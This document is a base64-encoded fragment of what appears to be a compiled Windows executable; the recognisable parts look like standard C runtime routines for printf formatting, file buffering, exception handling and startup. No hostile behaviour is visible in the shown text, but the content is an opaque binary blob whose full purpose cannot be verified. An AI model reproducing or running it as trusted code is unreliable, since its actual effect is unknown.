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
